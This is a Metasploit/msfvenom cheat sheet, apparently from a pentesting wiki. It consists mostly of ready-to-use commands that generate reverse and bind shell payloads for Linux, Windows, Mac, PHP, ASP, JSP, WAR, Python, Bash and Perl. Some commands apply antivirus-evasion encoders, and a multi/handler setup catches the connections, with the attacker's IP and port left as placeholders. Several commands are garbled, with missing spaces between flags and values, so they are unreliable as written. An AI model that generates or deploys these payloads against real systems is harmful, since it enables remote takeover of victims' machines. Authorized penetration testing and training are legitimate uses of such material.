# Msfvenom

**Show all payloads**

msfvenom -l payloads

&#x20;

**Show all payload formats**

msfvenom -l formats

&#x20;

**Generate a payload**

msfvenom -p \<payload> LHOST=\<attacker IP> LPORT=\<attacker port> -f \<format> -o \<output payload file name>

&#x20;&#x20;

**Common payloads**&#x20;

**meterpreter**

| linux/x86/meterpreter/reverse\_tcp   | linux x86 reverse shell   |
| ------------------------------------ | ------------------------- |
| linux/x64/meterpreter/reverse\_tcp   | linux x64 reverse shell   |
| windows/meterpreter/reverse\_tcp     | windows x86 reverse shell |
| windows/x64/meterpreter/reverse\_tcp | windows x64 reverse shell |

&#x20;**Staged**&#x20;

| linux/x86/shell/bind\_tcp    | linux x86 bind shell      |
| ---------------------------- | ------------------------- |
| linux/x86/shell/reverse\_tcp | linux x86 reverse shell   |
| windows/shell/bind\_tcp      | windows x86 bind shell    |
| windows/shell/reverse\_tcp   | windows x86 reverse shell |

&#x20;**Nonstaged**

| linux/x86/shell\_bind\_tcp    | linux x86 bind shell      |
| ----------------------------- | ------------------------- |
| linux/x86/shell\_reverse\_tcp | linux x86 reverse shell   |
| windows/shell\_bind\_tcp      | windows x86 bind shell    |
| windows/shell\_reverse\_tcp   | windows x86 reverse shell |

{% embed url="<https://www.hackingarticles.in/msfvenom-cheatsheet-windows-exploitation/>" %}

**msfvenom -p windows/shell/reverse\_tcp -e x86/shikata\_ga\_nai -i LHOST=\<att\_ip> LPORT=5555 -f exe >xcmd.exe**

&#x20;

**msfvenom -p windows/shell\_reverse\_tcp -e rc4 -encrypt-key BlueSky LHOST=\<att\_ip> LPORT=5555 -f exe > zcmd.exe**

{% embed url="<https://pentestmag.com/metasploit-cheat-sheet/>" %}

[https://www.blueliv.com/downloads/Meterpreter\_cheat\_sheet\_v0.1.pdf](https://pentestmag.com/metasploit-cheat-sheet/https://www.blueliv.com/downloads/Meterpreter_cheat_sheet_v0.1.pdfhttps://pentestwiki.org/metasploit-meterpreter-cheat-sheet/)

{% embed url="<https://pentestwiki.org/metasploit-meterpreter-cheat-sheet/>" %}

Creating Metasploit Payloads

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

&#x20;**List payloads**

msfvenom -l

**Binaries**

**Linux**

msfvenom -plinux/x86/meterpreter/reverse\_tcp LHOST=\<Your IP Address>LPORT=\<Your Port to Connect On>-felf >shell.elf

**Windows**

msfvenom -pwindows/meterpreter/reverse\_tcp LHOST=\<Your IP Address>LPORT=\<Your Port to Connect On>-fexe >shell.exe

**Mac**

msfvenom -posx/x86/shell\_reverse\_tcp LHOST=\<Your IP Address>LPORT=\<Your Port to Connect On>-fmacho >shell.macho

**Web Payloads**

**PHP**

msfvenom -pphp/meterpreter\_reverse\_tcp LHOST=\<Your IP Address>LPORT=\<Your Port to Connect On>-fraw >shell.php\
catshell.php |pbcopy &\&echo'\<?php '|tr-d'\n'>shell.php &\&pbpaste >>shell.php

**ASP**

msfvenom -pwindows/meterpreter/reverse\_tcp LHOST=\<Your IP Address>LPORT=\<Your Port to Connect On>-fasp >shell.asp

**JSP**

msfvenom -pjava/jsp\_shell\_reverse\_tcp LHOST=\<Your IP Address>LPORT=\<Your Port to Connect On>-fraw >shell.jsp

**WAR**

msfvenom -pjava/jsp\_shell\_reverse\_tcp LHOST=\<Your IP Address>LPORT=\<Your Port to Connect On>-fwar >shell.war

**Scripting Payloads**

**Python**

msfvenom -pcmd/unix/reverse\_python LHOST=\<Your IP Address>LPORT=\<Your Port to Connect On>-fraw >shell.py

**Bash**

msfvenom -pcmd/unix/reverse\_bash LHOST=\<Your IP Address>LPORT=\<Your Port to Connect On>-fraw >shell.sh

**Perl**

msfvenom -pcmd/unix/reverse\_perl LHOST=\<Your IP Address>LPORT=\<Your Port to Connect On>-fraw >shell.pl

**Shellcode**

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

**Linux Based Shellcode**

msfvenom -plinux/x86/meterpreter/reverse\_tcp LHOST=\<Your IP Address>LPORT=\<Your Port to Connect On>-f\<language>

**Windows Based Shellcode**

msfvenom -pwindows/meterpreter/reverse\_tcp LHOST=\<Your IP Address>LPORT=\<Your Port to Connect On>-f\<language>

**Mac Based Shellcode**

msfvenom -posx/x86/shell\_reverse\_tcp LHOST=\<Your IP Address>LPORT=\<Your Port to Connect On>-f\<language>

**Handlers**

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

use exploit/multi/handler\
setPAYLOAD \<Payload name>setLHOST \<LHOST value>setLPORT \<LPORT value>setExitOnSession falseexploit -j-z

Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘[\
](https://pentestmag.com/metasploit-cheat-sheet/https://www.blueliv.com/downloads/Meterpreter_cheat_sheet_v0.1.pdfhttps://pentestwiki.org/metasploit-meterpreter-cheat-sheet/)
